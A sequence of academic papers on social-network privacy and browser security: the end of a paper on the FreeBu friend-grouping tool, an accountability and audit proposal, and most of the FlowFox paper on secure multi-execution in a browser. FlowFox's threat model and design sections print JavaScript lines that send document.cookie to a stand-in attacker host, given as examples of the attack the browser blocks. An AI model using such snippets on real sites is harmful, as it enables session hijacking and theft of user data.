for communities. The label of a group should highlight the attributes of the people in it. We adopt the F-measure to determine the labels for the communities. F-measure is a standard measure combining precision and recall (Equation 1). As the labeling experiments in [21] indicate, F-measure comes out as one of the best labeling measures for communities detected with the user’s Facebook data – the labels with high F-measure scores are often considered suitable by the users.

\[ F\text{-measure} = \frac{2 \cdot \text{Precision}(C, A) \cdot \text{Recall}(C, A)}{\text{Precision}(C, A) + \text{Recall}(C, A)} \]  

(1)

with

\[ \text{Precision}(C, A) = \frac{|C \cap A|}{|A|} \]  

(2)

\[ \text{Recall}(C, A) = \frac{|C \cap A|}{|C|} \]  

(3)

\( C \) denotes a set of people within the same community \( c \), \( A \) denotes a set of people with the same attribute-value \( a \), e.g. certain name of a university. \( \text{Precision}(C, A) \) measures the percentage of people with the attribute-value \( a \) in the community \( c \) to the whole population with attribute-value \( a \). \( \text{Recall}(C, A) \) measures the percentage of people with the attribute-value \( a \) in the community \( c \) to the whole population of the community \( c \).

For each community, a list of labels is generated based on all the data attributes mentioned in Section IV-A, and then sorted according to every label’s F-measure score. The user can determine the number of labels appearing on the communities. The labels with higher F-measure scores are firstly selected.

C. User Interface

In this section, we describe the graphical user interface of the grouping tool, including its visual presentation and how the user can modify the grouping structure with the interface.

1) Visual Presentation: We adopt the star-tree form to represent the grouping structure. As shown in Figure 3, the nodes of the tree are represented by circles, each pair of parent-child nodes are connected by straight lines. The root of the tree (the blue circle in the middle) is the user herself, the red circles represent different communities detected by the algorithm, the leaves (the green circles surrounding the red ones) represent user’s friends on Facebook. We scale the sizes of community circles based on the number of people within each community, a larger size corresponds to more people.

The labels are shown on top of the community circles, if a community contains more than one person. The user can click on one bubble – a community or a person – to zoom in to concentrate on a particular part of the tree. We blur the labels for privacy reasons. The labels are typically school names, school years and work places. The number in front of the blurred labels indicate the number of people in the corresponding circles. The user can adjust the amount of labels shown by sliding the threshold bar.

2) Group Modification: Initially, we provide the user with one-layer grouping, the user can modify it by adding or removing (sub) groups, so that the user is able to construct her grouping hierarchically, as shown in Figure 4. The user can also change the members of the groups by “drag and drop” friends from one red circle to another, as shown in Figure 5.

V. LIMITATIONS AND FUTURE WORK

A. On the User Study

The number of participants is small. The demographic structure of the sampled people in the user study is limited,
mainly in terms of their age range, but also educational and cultural backgrounds. This can be improved by involving more and larger variety of people in the user study.

### B. On the Data

We use friend graph data, in which a connection between two people is formed when the two are friends to each other. However, such friend graph data is not ideal to describe users’ relationships, as we do not know the type and the strength of a connection in a given friend graph. A connection may be formed due to potentially any reason, e.g. that a pair of individuals have chatted pleasantly in an offline meeting and decide to become friends on Facebook, or two oldest and closest offline friends one day add each other on Facebook, or they have never met each other offline, but both are actively in an online forum, and then became Facebook friends.

As the friend graph lacks of detailed connection information, i.e. type and strength, it may cause deficiency when inputted to a community detection algorithm based on graph. For instance, someone A in the user’s friend graph is categorized into a community because A has more links with the people in that community, meanwhile A also connects to B who is in another community. The user considers the linkage between A and B is much stronger than the rest of A’s links to others, and A should be put into B’s community. The friend graph does not contain such knowledge. Further investigations may focus on the measurement of the strengths of connections and the involvement of the user’s input, making the friend graph more informative.

Another limitation of the friend-graph data is that the user does not group her friends purely based on connections, sometimes on attributes as well. However, under what circumstances the user chooses attributes over connections to group friends seems rather random, and connection-based grouping is more generally applied by the user than attribute-based according to our user study. In the next step, we can offer different versions of grouping recommendations to the user, including purely connection-based, purely attribute-based grouping, and a mixture of both, so that the user is reminded with more alternatives and acquires more insights of the grouping structure of her friends.

One other limitation of the data holds in OSN in general – the online OSN is not a perfect replicate of the offline world. Usually, critical data in an OSN is missing, or OSN is not synchronized or updated with the offline counterpart. Some important offline activities or events may not be shown on Facebook, a user may not fill in certain hobby on Facebook but indeed practice this hobby often and has a special group of friends, or most of a user’s family members are easily not to be found on Facebook.

### C. On the Community Detection Algorithm

The graph-based community detection algorithm derives communities by optimizing modularity. But modularity optimization is computationally hard [7]. Sometimes it is necessary to adopt approximation algorithms to deal with large graphs, as does the Louvain method.

Also, the Louvain method outputs a flat grouping structure for each given graph, while a hierarchical grouping structure may enhance the user’s comprehension of her contexts.

As a person’s social connections are complex in nature. There can be friends who bridge different groups. Algorithms that emphasize on discovering bridging/overlapping structures are potentially useful, as suggested in [8].

Moreover, as discussed in Section V-B, the connection-based criteria for people grouping is favored by the participants. But it is not necessarily and not always the case, there are times that people do purely attribute-based grouping. To make more fine-tuned grouping recommendations, we should extend the community detection algorithm by taking into account attribute data on the nodes and more information on the edges, such as the types and weights of the edges, which can be derived from the commenting or the internal chatting messages of a user in OSN.

### D. On the Evaluation of the Tool

Although the user study in [1] has suggested that connection-based friend group recommendation is favored over Facebook’s smart-list, the star-tree form of the graphical presentation, the efficiency and the effectiveness of users’ interactions with the interface are in need of evaluation.

We plan to create tasks for users (to construct online friend groups), record, measure and compare the differences of their interactions with the grouping tool and with the Facebook list tool. We also plan to investigate how and to what extent that the grouping tool can aid users to enhance their privacy by creating contexts. Due to the complexity of these evaluations, we set them in our next step.

### VI. Summary

In this paper, we have introduced an interactive grouping tool FreeBu using the user’s Facebook data. We investigate the criteria users apply to grouping people, identify several data attributes that users frequently adopt for labeling their groups, and the inherently connection-based grouping method by users. We developed the grouping tool based on our findings in the user study that can help users recognize and modify the grouping of people. With the automatic community detection and labeling features in the tool, the user gains an overview of her friends on Facebook. According to this, the user can then adjust this grouping structure by adding, removing groups, rearranging the members inside the groups, and eventually apply the grouping decision onto her Facebook account. The grouping tool helps the user create sensible boundaries in OSN, which makes it easier for
the user to decide what to publish or receive (sometimes very sensitive or personal) information to or from which group of people. We consider the interactive grouping tool as a first step to address the privacy concern Context Collision.

ACKNOWLEDGMENT

The research leading to these results has received funding from the Strategic Basic Research (SBO) Programme of the Flemish Agency for Innovation through Science and Technology (IWT) in the context of the SPION project (www.spion.me) under grant agreement number 100048.

REFERENCES


[27] Ralf De Wolf and Jo Pierson. Privacy beyond the individual: analysing group based access control models on social network sites from a user perspective. In IAMCR (International Association for Media and Communication Research), Durban, South-Africa, 2012.

Accountability and Audit Models for Online Social Networks

Leandro Doctors

DistriNet - KULeuven

Abstract

In the last few years, as a consequence of the spread of Internet access, online social networking (OSN) services has become a very popular social activity for millions of people around the world. As its offline counterpart, OSNing requires the sharing of large amounts of personally identifiable information (PII). From an information security point of view, this is not a problem of information disclosure: without a restricted and context-aware degree of PII disclosure, OSNing would be impossible. On the contrary, the potential problem lies in the way that information is used afterwards. Our Goal is to implement an architecture for A&A in the context of OSNing. As a first step towards developing an A&A framework in the context of OSNs, we have started to develop a simulation testbed.

1 Motivation

1.1 An informational perspective on Online Social Networking

In the last few years, as a consequence of the spread of Internet access, online social networking (OSN) services has become a very popular social activity for millions of people around the world. As its offline counterpart, OSNing requires the sharing of large amounts of personally identifiable information (PII).

Although OSN services could be understood as the online transposition of traditional social networking, the main difference is regarding the persistence of the shared PII. Whereas in the "real", offline world chances are you might forget certain details of a talk with a friend, a similar conversation held via a chat session can be recorded completely, thus erasing the possibility of (at least partially) forget what was said there. Everything is recorded, and there is a very big possibility that (parts of) what could be considered as a confidential conversation in the offline world to be disclosed with full details, with a different purpose from the one originally intended.

From an information security point of view, this is not a problem of information disclosure: without a restricted and context-aware degree of PII disclosure, OSNing would be impossible. On the contrary, the potential problem lies in the way that information is used afterwards. Since most (if not all) of OSN service providers' business model rely on the exploitation of their users' disclosed PII for advertising purposes, users are continuously stimulated to actively disclose more and more PII. Besides, to iteratively build a more complete profile of its users, OSN service providers store this PII for very long periods, if not indefinitely.

OSN service providers claim they provide the users with tools regarding the nature and usage of the PII they provide to the OSN service provider. These tools inform the user what is stored, how it is shared with others, how it is used. However, they do it in a very abstract way, and they usually don't allow the user to check the information they provide is accurate and act in consequence. So, in fact, these tools are awareness tools, rather than accountability tools.

1.2 State of the Art

In this section, we introduce a subset of relevant literature.

Regarding the concept of Information Accountability and Audit (A&A), Weitzner et. al. intro-
duce the notion of Information Accountability [6]. They argue that an approach to information security based only on access restriction is insufficient for today’s networked world. They mention three illustrative examples: preserving privacy in a PII-rich, networked world, the need of ensuring fair use in the restricted distribution of online digital content, and surveillance of law infringement suspects. In all these cases, “excessive reliance on secrecy and up-front control over the flow of information has resulted in policies that fail to meet social needs and technologies that stifle information flow without actually resolving the problems for which they are designed”.

Weitzner et al. also describe an A&A-aware architecture for information systems. They state three architectural prerequisites for providing any type of information system with accountability [6]:

- policy-aware transaction audit logs;
- a policy language framework; and
- user level, purpose-based accountability reasoning tools.

“A policy-aware transaction log will initially resemble traditional network and database transaction logs, but also include data provenance, annotations about how the information was used, and what rules are known to be associated with that information. […] We consider it improbable in the extreme that the entire world would ever agree on a single set of policy language primitives. However, drawing on semantic web techniques including ontologies and rules languages, we believe it will be possible for larger and larger overlapping communities on the Web to develop a shared policy vocabulary in a step-by-step, bottom-up fashion. […] It seems likely that special purpose reasoners, based on specializations of general logic frameworks, will be needed to provide a scalable and open policy reasoner.”

Given that we deal with social software, we need some way to model its dynamics. By considering social rules as electronic contracts, we could use Deontal Logic, introduced by Lee in 1988 [3]. Deontal Logic, a cornerstone for electronic contracts, includes the notions of Obligations, Permissions and Prohibitions. de Haan [1] shows how logic can be used to model social behavior and its consequences. In this way, real world, informal “social contracts” would become formal (and therefore, enforceable) electronic contracts.

Although precise up to a certain point, Weitzner et al.’s definition is not a formal one, so we have to find one. Feigenbaum et. al. build on top of Weitzner et al.’s and propose a formal definition for accountability in information systems, with special emphasis on punishment [2]. Their formal model proposal (which uses event traces and utility functions) is economically-inspired; the cost of violations (if detected) is much higher than that of the benefit from the violation.

We also need to deal with “unacceptable” social behavior. Gornatori and Milosevic [4] propose a formal model to deal with electronic contract violations. Finally, Francalanza et. al. [3] propose a migrating monitor approach to runtime monitoring of distributed systems. It is worth noting that this architecture is becoming more and more popular in privacy-preservant approaches to OSNing.

If we are to develop policy-aware software, policy-aware programming might help. One possibility would be to use Jeeves, a privacy-aware programming library proposal from Yang et al. [7]. There are two reasons for choosing Jeeves. The first one is that the library takes complete care of making the system responsible for automatically producing output consistent with programmer-specified privacy policies; this allows to fully separate business logic from privacy policy logic. The second reason is that there is already available a Scala implementation of the library, which includes a social network skeleton as a proof of concept.

1.3 Problem Statement

As we have implied in the previous subsections, the problem is that current OSN architectures do not provide appropriate accountability mechanisms.

2 Our proposal

2.1 Research Goal and Questions

Our Goal is to implement an architecture for A&A in the context of OSNing. To attain this goal, we ask ourselves the following Research Questions:
(RQ1) Is Weitzner et al.’s general architecture for A&A applicable to the context of OSNing?

(RQ2) What accountability models could we design/adapt to OSN?

(RQ3) How could we evaluate their performance?

2.2 Potential Contributions

We have shown above that even though Accountability can be very appropriate in the context of OSN, it is practically absent in most OSN. We think that, by building an A&A-aware architecture for OSNs we will contribute to increase the transparency of systems that are so important in everyday life for millions around the world.

2.3 Current Status and Next Steps

As a first step towards developing an A&A framework in the context of OSNs, we have started to develop a simulation testbed. This testbed is based on the social network skeleton code provided with Jeeves as a proof of concept.

We are currently finishing the first iteration of our A&A model testbed. We have already implemented a minimal policy-aware transaction audit logs component. Figure 1 shows the components of our A&A testbed.

The first policy-aware transaction logging model we are developing consists on a two-level-op privacy log. Figure 2 describes its behavior. On one side, each social network user has its own private log; on the other side, there is a general log for the system. While both logs have the same collection of events, the difference is the content of the said records.

In this way, whereas each “private” log includes all the details of the events, the “public” one shows less information. If we take as an example a post exchange between two users, in each user’s log we will have both a copy of the message, who wrote it, when and who he shared it with; in the general log, the message content will be not visible. In case of any user reporting the message as “inappropriate”, a OSNing service provider sysadmin would access the “public” log. In case he finds the context of the message suspicious, he could ask for permission to a law enforcement agent access to the private log. Only after permission is granted, he could access the full content.

We are in the process of implementing a policy language framework. Once we finish building these components, we plan to develop an agent-based simulator for A&A models. Once we have validated them, a possible large scale deployment would be to integrate the resulting framework into a real OSN, such as Diaspora. Then, we could implement high level accountability reasoning tools.

References


FlowFox: a Web Browser with Flexible and Precise Information Flow Control

Willem De Groef, Dominique Devriese, Nick Nikiforakis and Frank Piessens
IBBT–DistriNet, KU Leuven
Celestijnenlaan 200a, 3001 Heverlee, Belgium
firstname.lastname@cs.kuleuven.be

ABSTRACT

We present FlowFox, the first fully functional web browser that implements a precise and general information flow control mechanism for web scripts based on the technique of secure multi-execution. We demonstrate how FlowFox subsumes many ad-hoc script containment countermeasures developed over the last years. We also show that FlowFox is compatible with the current web, by investigating its behavior on the Alexa top-500 web sites, many of which make intricate use of JavaScript.

The performance and memory cost of FlowFox is substantial (a performance cost of around 20% on macro benchmarks for a simple two level policy), but not prohibitive. Our prototype implementation shows that information flow enforcement based on secure multi-execution can be implemented in full-scale browsers. It can support powerful, yet precise policies, refining the same-origin-policy in a way that is compatible with existing websites.

Categories and Subject Descriptors
H.4.3 [Information Systems Applications]: Communications Applications—Information browsers; K.6.5 [Management of Computing and Information Systems]: Security and Protection

General Terms
Security, Design, Documentation, Verification

Keywords
Web Security, Information Flow, Web Browser Architecture

1. INTRODUCTION

A web browser handles content from a variety of origins, and not all of these origins are equally trustworthy. Moreover, this content can be a combination of markup and executable scripts where the scripts can interact with their environment through a collection of powerful APIs that offer communication to remote servers, communication with other pages displayed in the browser, and access to user, browser and application information including information such as the geographical location, clipboard content, browser version and application page structure and content. With the advent of the HTML5 standards [22, 17], the collection of APIs available to scripts has substantially expanded.

An important consequence is that scripts can be used to attack the confidentiality or integrity of that information. Scripts can leak session identifiers [33], inject requests into an ongoing session [7], sniff the user’s browsing history, or track the user’s behavior on a web site [23]. Such malicious scripts can enter a web page because of a cross-site scripting vulnerability [25], or because the page integrates third-party scripts such as advertisements, or gadgets. A recent study has shown that almost all popular web sites include such remotely-hosted scripts [32]. Barth et al. [8, 1] have proposed the gadget attacker, as an appropriate attacker model for this broad class of attacks against the browser.

The importance of these attacks has led to many countermeasures being implemented in browsers. The first line of defense is the same-origin-policy (SOP) that imposes restrictions on the way in which scripts and data from different origins can interact. However, the SOP is known to have holes [39], and all of the attacks cited above bypass the SOP. Hence, additional countermeasures have been implemented or proposed. Some of these are ad-hoc security checks added to the browser (e.g. to defend against history-sniffing attacks, browsers responded with prohibiting access to the computed style of HTML elements [42]), others are elaborate and well thought-out research proposals to address specific subclasses of such attacks (e.g. AdJail [40] proposes an architecture to contain advertisement scripts).

Several researchers [12, 30] have proposed information flow control as a general and powerful security enforcement mechanism that can address many of these attacks, and hence reduce the need for ad-hoc or purpose-specific countermeasures. Several prototypes that implement some limited form of information flow control have been developed; we discuss these in detail in Section 6. However, general, flexible, sound and precise information flow control is difficult to achieve, and so far nobody has been able to demonstrate a fully functional browser that enforces sound and precise information flow control for web scripts. As a consequence, there was no evidence for the practicality of this approach in the context of web applications, till now.

In this paper, we present FlowFox, the first fully func-
tional web browser (implemented as a modified Mozilla Firefox) that implements a precise and general information flow control mechanism based on the technique of secure multi-execution [18]. FlowFox can enforce general information flow based confidentiality policies on the interactions between web scripts and the browser API. Information entering or leaving scripts through the API is labeled with a confidentiality label chosen from a partially ordered set of labels, and FlowFox enforces that information can only flow upward in a script.

We report on several experiments we performed with FlowFox. We measured performance and memory cost, and we show how FlowFox can provide (through suitable choice of the policy enforced) the same security guarantees as many ad-hoc browser security countermeasures. We also investigate the compatibility of some of these policies with the top-500 Alexa web sites.

While the costs incurred by FlowFox are non-negligible, we believe our prototype provides evidence of the suitability of information flow security in the context of the web, and further improvements in design and implementation will reduce performance, memory and compatibility costs. As an analogy, the reader might remember that the first backwards-compatible bounds-checkers for C [26] incurred a performance cost of a factor of 10, and that a decade of further research eventually reduced this to an overhead of 60% [2, 46].

In summary, this paper has the following contributions:

- We present the design and implementation of FlowFox, the first fully functional web browser with sound and precise information flow controls for JavaScript. FlowFox is available for download, and can successfully browse to complex web sites including Amazon, Google, Facebook, Yahoo! and so forth.

- We show how FlowFox can subsume many ad-hoc security countermeasures by a suitable choice of policy.

- We evaluate the performance and memory cost of FlowFox compared to an unmodified Firefox.

- We evaluate the compatibility of FlowFox with the current web by comparing the output of FlowFox with the output of an unmodified Firefox.

The remainder of this paper is organized as follows: in Section 2 we define our threat model, and give examples of threats that are in scope and out of scope for this paper. Section 3 gives a high-level overview of the design of FlowFox, and Section 4 discusses key implementation aspects. In Section 5, we evaluate FlowFox with respect to compatibility, security and performance. Section 6 discusses related work, and Section 7 concludes.

2. THREAT MODEL

Our attacker model is based on the gadget attacker [8, §2]. This attacker has two important capabilities. First, he can operate his own web sites, and entice users into visiting these sites. Second, he can inject content into other web sites, e.g. because he can exploit a cross-site scripting (XSS) vulnerability in the other site, or because he can provide an advertisement or a gadget that will be included in the other site. The attacker does not have any special network privileges (he can’t eavesdrop on nor tamper with network traffic).

The baseline defense against information leaking through scripts is the SOP. However, it is well-known that the SOP provides little to no protection against the gadget attacker: scripts included by an origin have full access to all information shared between the browser and that origin, and can effectively transmit that information to any third party e.g. by encoding the information in a URL, and issuing a GET request for that URL.

Not only confidentiality of information is important; users also care about integrity. But for the purpose of this paper, we limit our attention to confidentiality and leave the study of enforcing integrity to future work.

For the rest of this paper, we consider users surfing the web with a web browser. Typically, these users care about the confidentiality of the following types of information:

Application Data.

The user interacts with a variety of sites that he shares sensitive information with. Prototypical examples of such sites are banking or e-government sites. The user cares about the confidentiality of information (e.g. tax returns) exchanged with these sites. Access to such information is available to scripts through the Document Object Model (DOM) API.

User Interaction Data.

Information about the user’s mouse movements and clicks, scrolling behavior, or the selection, copying and pasting of text can be (and is) collected by scripts to construct heat maps, or to track what text is being copied from a site [23, §5]. Collection of such information by scripts is implemented by installing event handlers for keyboard and mouse activities.

Meta Data.

Meta information about the current web site (like cookies), or about the browsing infrastructure (e.g. screen size). Leakage of such information can enable other attacks, e.g. session hijacking after leaking of a session cookie. Again, scripts have access to this type of information through APIs offered by the browser.

With these information assets and attacker model in mind, we give concrete example threats that are in scope, and threats we consider out-of-scope for this paper.

2.1 In-scope Threats

Here are some concrete examples of threats that can be mitigated by FlowFox. We will return to these examples further in the paper.

Session Hijacking through Session Cookie Stealing.

A gadget attacker can inject a script that reads the shared session cookie between the browser and an honest site A, and leak it back to the attacker, who can now hijack the session:

```javascript
new Image().src = "http://attack/?=" + document.cookie;
```

Several ad-hoc countermeasures against this threat have been proposed. A representative example is SessionShield [33] that uses heuristics to identify what cookies are
session cookies, and then blocks script access to these session cookies.

**Malicious Advertisements.**

Web sites regularly include advertisements implemented as web scripts in their pages. These advertisement scripts then have access to application data in the page. This is sometimes desirable, as it enables context-sensitive advertising, yet it also exposes user private data to the advertisement provider.

Again, several countermeasures have been developed. A representative example is AdJail [40] that addresses confidentiality as well as integrity attacks by means of an isolation mechanism that runs the advertisement code in a separate hidden iframe.

**History Sniffing and Behavior Tracking.**

An empirical study by Jang et al. [23] shows that many web sites (including popular web sites within the Alexa global top 100) use web scripts to exfiltrate user interaction data and meta data, for example browsing history. This kind of functionality is even offered as a commercial service by web analytics companies.

The adaptation of the Style API is an example of an ad-hoc countermeasure specifically developed to mitigate the history sniffing threat [6], but most of the privacy leaks described by Jang et al. [23] are not yet countered in modern browsers.

### 2.2 Out-of-scope Threats

Browser security is a broad field, facing many different types of threats. We list threats that are not in scope for the countermeasure discussed in this paper, and need to be handled by other defense mechanisms.

**Integrity Threats.**

As discussed earlier, we focus only on confidentiality-related threats. Examples of integrity-related threats include user interface redressing attacks (e.g. clickjacking), and cross-site request forgery (CSRF) attacks.

**Implementation-level Attacks Against the Browser.**

A browser is a complex piece of software with a large network-facing attack surface. Implementation-level vulnerabilities in the browser code may allow an attacker to gain user-level or even administrator-level privileges on the machine where the browser is running. A wide variety of countermeasures to harden implementations against these threats exist [45], and we don’t consider them in this paper. Typical examples of attacks in this category include heap-spraying attacks [16] or drive-by-downloads [35, 34].

**Threats Not Related to Scripting.**

This includes e.g. attacks at the network level (eavesdropping on or tampering with network traffic) or CSRF attacks that do not make use of scripts [7].

### 3. FLOWFOX

In this section we describe the design of FLOWFOX. First, we briefly recap some notions of information flow security and the secure multi-execution (SME) enforcement mechanism. Then we discuss how SME can be applied to browsers, and we motivate our design where only scripts are multi-executed instead of the full browser. Finally, we discuss what policies can be enforced by FLOWFOX.

#### 3.1 Information Flow Security

Information flow security is concerned with regulating how information can flow through a program. One specifies a policy for a program by labeling all input and output operations to the program with a security label. These labels represent a confidentiality level, and they are partially ordered where one label is above another label if it represents a higher level of confidentiality. One then tries to enforce that information only flows upward through the program. This is often formalised as non-interference – a deterministic program is non-interferent if there are no two runs of the program with inputs identical up to a level $l$ but some different outputs at a level below $l$. While there has been a substantial body of research on information flow security over the past decades, the JavaScript language, and the web context bring significant additional challenges, including e.g. dealing with the dynamic nature of JavaScript.

For the remainder of this paper, we limit our attention to the case where there are only two security labels: high (H) for confidential information, and low (L) for public information. As we will show, many useful policies can be specified with only these two levels. But this is not a fundamental limitation: FLOWFOX scales to an arbitrary number of levels (albeit at a considerable performance and memory cost).

#### 3.2 Secure Multi-Execution

Secure multi-execution (SME) [18, 13] is a new dynamic enforcement mechanism for information flow security with practical advantages when applied in the context of JavaScript web applications [18, §VI.D]. The core idea of SME is to execute the program multiple times – once for every security label, while applying specific rules for input and output (I/O) operations in the program. We summarize the SME I/O rules for the two element lattice that we consider in this paper:

1. I/O operations are executed only in the executions at the same security level as the operation. This ensures that any I/O operation is only performed once.
2. Output operations at other levels are suppressed.
3. High input operations in the low execution are handled as follows: the input operation is skipped, and returns a default value of the appropriate type.
4. Low input operations in the high execution wait for the low execution to perform this input, and then reuse the value that was input at the low level.

It is relatively easy to see that executing a program under the SME regime will guarantee non-interference: the copy that does output at level L only sees inputs of level L and hence the output could not have been influenced by inputs of level H. For a more general description of the SME mechanism, and a soundness proof, the reader is referred to Devriese and Piessens [18], and to Kashyap et al. [27].

#### 3.3 In-Browser SME

An important design decision when implementing SME for web scripts is how to deal with the browser API exposed to
scripts. A first option is to multi-execute the entire browser: the API interactions would become internal interactions and each SME copy of the browser would have its own copy of the DOM. Both Bielova et al. [10] and Capizzi et al. [13] applied this strategy in their implementations.

The alternate strategy is to only multi-execute the web scripts and to treat all interactions with the browser API as inputs and outputs. Both designs are shown in Figure 1.

Both designs have their advantages and disadvantages. When multi-executing the entire browser, the information flow policy has to label inputs and outputs at the abstraction level provided by the operating system. The policy can talk about I/O to files and network connections, or about windows and mouse events. Multi-execution can be implemented relatively easily by running multiple processes. However, at this level of abstraction, the SME enforcement mechanism lacks the necessary context information to give an appropriate label to e.g. mouse events. The operating system does not know to which tab, or which HTML element in that tab a specific mouse click or key press is directed. It can also not distinguish individual HTML elements that scripts are reading from or writing to.

When multi-executing only the scripts, the information flow policy has to label inputs and outputs at the abstraction level offered by the browser API. The policy can talk about I/O to files and network connections, or about reading from or writing to the text content of specific HTML elements, and can assign appropriate labels to such input and output operations. However, implementing multi-execution is harder, as it now entails making cross-cutting modifications to the source code of a full-blown browser – e.g. a system call interface is cleaner from a design perspective than a prototypical web browser and as such easier to modify. Also, policies become more complex, as there are much more methods in the browser API than there are system calls.

FLOWFox takes the second approach, as the first approach is too coarse grained and imprecise to capture relevant threats. The first approach (taken by [13, 10]) can e.g. not protect against a script leaking an e-mail typed by the user into a web mail application to any third party with whom the browser has an active session in another tab, because the security enforcement mechanism cannot determine to which origin the user text input is directed. Hence, browser API interactions are treated as inputs and outputs in FLOWFox, and should be labeled with an appropriate security label. Based on a simple example, we show how this works. Consider malicious code, trying to disclose the cookie information as part of a session hijacking attack:

```javascript
var url = "http://host/image.jpg?=" + document.cookie;
var i = new Image(); i.src = url;
if (i.width > 50) { /* layout the page differently */ }
```

For this example, we label reading `document.cookie` as confidential input, and we label setting the `src` property of an Image object (which results in an HTTP request to the given URL) as public output. Reading the `width` property of the image (also a DOM API call) is labeled as public input.

We discuss how this script is executed in FLOWFox. First, it is executed at the low level. Here, reading the cookie results in a default value, e.g. the empty string. Then the image is fetched – without leaking the actual cookie content – and when reading the width of the image (resulting e.g. in 100), the value that was read is stored for reuse in the high execution:

```javascript
1 var url = "http://host/image.jpg?=" + document.cookie;
2 var i = new Image(); i.src = url;
3 if (i.width > 50) { /* layout the page differently */ }
```

Next, the script is executed at the high level. In this level, the setting of the `src` property is suppressed. The reading of the `width` property is replaced by the reuse of the value read at the low level.

```javascript
1 var url = "http://host/image.jpg?=" + document.cookie;
2 var i = new Image(); i.src = url;
3 if (i.width > 50) { /* layout the page differently */ }
```

This example shows how, even though the script is executed twice, each browser API call is performed only once. As a consequence, if the original script was non-interferent, the script executed under multi-execution behaves exactly the same. In other words, SME is precise: the behavior of secure programs is not modified by the enforcement mechanism. This is relatively easy to see: if low outputs did not depend on high inputs to start from, then replacing high inputs with default values will not impact the low outputs. We refer again to [18, §IV.A] for a formal proof.

### 3.4 Security Policies

In FLOWFox every DOM API call is interpreted as an output message to the DOM (the invocation with the actual parameters), followed by an input from the DOM (the return value). DOM events delivered to scripts are interpreted as inputs. The policy deals with events by giving appropriate labels to the DOM API calls that register handlers.

Hence a FLOWFox policy must specify two things. First, it assigns security levels to DOM API calls. Second, a default return value must be specified for each DOM API call that could potentially be skipped by the SME enforcement mechanism (see Rule 3 in Section 3.2).

**Policy Rule.** A policy rule has the form \( R[D] : C_1 \rightarrow l_1, \ldots, C_n \rightarrow l_n \rightarrow dv \) where \( R \) is a rule name, \( D \) is a DOM API method name, the \( C_i \) are boolean expressions, the \( l_i \) are security levels and \( dv \) is a JavaScript value.

Policy rules are evaluated in the context of a specific invocation of the DOM API method \( D \), and the boolean expressions \( C_i \) are JavaScript expressions and can access the receiver object (\( arg_0 \)) and arguments (\( arg_k \)) of that invocation. Given such an invocation, a policy rule associates

---

1 For API methods that return `void`, this can be optimized; they can be considered just outputs, but we ignore that optimization in the discussion below.
a level and a default value with the invocation as follows. The default value is just the value \( dv \). The conditions \( C_i \)
are evaluated from left to right. If \( C_i \) is the first one that evaluates to true, the level associated with the invocation
is \( l_j \). If none of them evaluate to true, the level associated
with the invocation is \( L \).

Policies are specified as a sequence of policy rules, and associate a level and default value with any given DOM API
invocation as follows. For an invocation of DOM API method \( D \), if there is a policy rule for \( D \), that rule is used
to determine level and default value. If there is no rule in
the policy for \( D \), that call is considered to have level \( L \),
with default value \texttt{undefined}. The default value for invocations
classified at \( L \) is irrelevant, as the SME rules will never require
a default value for such invocations.

Making API calls low by default, supports the writing of
short and simple policies. The empty policy (everything low)
corresponds to standard browser behavior. By selectively
making some API calls high, we can protect the information
returned by these calls. It can only flow to calls that also
have been made high.

JavaScript properties that are part of the DOM API can be
considered to consist of a getter method and a setter
method. For simplicity, we provide some syntactic sugar for
setting policies on properties: for a property \( P \) (e.g. \texttt{document.cookie}), a single policy rule specifies a level \( l \)
and default value \( dv \). The getter method then gets the level \( l \)
and default value \( dv \) and the setter method gets the level \( l \)
and the default value \texttt{true} – for a setter, the return value is a boolean indicating whether the setter completed successfully.

\textbf{Examples.}

Policy rule \( R_1 \) specifies that reading and writing of \texttt{document.cookie} is classified as \( H \), with default value \( \epsilon \) (the empty String):

\[
R_1[\texttt{document.cookie}] : \text{true} \rightarrow H ↪ \epsilon
\]

As a second example, consider some methods of XML-
HttpRequest objects (abbreviated below as \texttt{xhr}). The assigned
level depends on the origin to where the request is sent:

\[
\begin{align*}
R_2[\texttt{xhr.open}] & : \text{sameorigin}(\text{arg}) \rightarrow H ↪ \text{true} \\
R_3[\texttt{xhr.send}] & : \text{sameorigin}(\text{arg}, \text{origin}) \rightarrow H ↪ \text{true}
\end{align*}
\]

with \texttt{sameorigin}() evaluating to true if its first argument
points to the same origin as the document the script is part of. Finally, the following policy
ensures that \texttt{keypress} events are treated as high inputs:

\[
\begin{align*}
R_4[\texttt{onkeypress}] & : \text{true} \rightarrow H \rightarrow \text{true} \\
R_5[\texttt{addEventListener}] & : \text{arg} = "\texttt{keypress}" \rightarrow H ↪ \text{true}
\end{align*}
\]

\textbf{4. IMPLEMENTATION}

FLOWFOX is implemented on top of Mozilla Firefox 8.0.1
and consists of about \( \pm 1400 \) new lines of C/C++ code. We discuss the most interesting aspects of this implementation.

\textbf{4.1 SME-aware JavaScript Engine}

The SpiderMonkey software library is the JavaScript engine
of the Mozilla Firefox architecture. It is written in
C/C++. The rationale behind our changes to SpiderMonkey,
is to allow JavaScript objects to operate (and potentially
behave divergently) on different security levels.

Every execution of JavaScript code happens in a specific
context, internally known as a JSContext. We augment the
JSContext data structure to contain the current security
level and a boolean variable to indicate if SME is enabled.

\texttt{JSObjects} in SpiderMonkey represent the regular JavaScript
objects living in a JSContext. Each property of a \texttt{JSObject}
has related meta information, contained in a Shape data
structure. Such a Shape is one of the key elements in our
implementation.

By extending Shapes with an extra field for the security
level, we allow \texttt{JSObjects} to have the same property (with
a potentially different value) on every security level. The
result of this modification is a \texttt{JSObject} behaving differently,
depending on the security level of the overall JSContext.
We represent the augmented \texttt{Shape} by the triplet (security
level, property name, property value) as shown in Figure 2.

Only properties with shapes of the same security level as the
coordinating \texttt{JSContext} are considered when manipulating
a property of a \texttt{JSObject}. Figure 3 shows the visible \texttt{JSObject}
graph of Figure 2 when operating in a JSContext with a low
security level.

With these extensions in place, implementing the multi-
exection part is straightforward: we add a loop over all
available security levels (starting with the bottom element of
our lattice) around the code that is responsible for compiling
1 process (methodName, args, curLevel) {
2   l, dv = policy(methodName, args);
3   if (curLevel == l) {
4     result = perform_call();
5     resultCache.store(result, methodName, args);
6     return result;
7   } else if (curLevel > l) {
8     result = resultCache.retrieve(methodName, args);
9     return result;
10   } else if (curLevel < l) {
11     return dv;
12   }
13 }

Figure 4: Implementation of the SME I/O rules.

and executing JavaScript code. Before each loop, we update the associated security level of the JSContext.

4.2 Implementation of the SME I/O Rules

The next important aspect of our implementation is how we intercept all DOM API calls, and enforce the SME I/O rules on them.

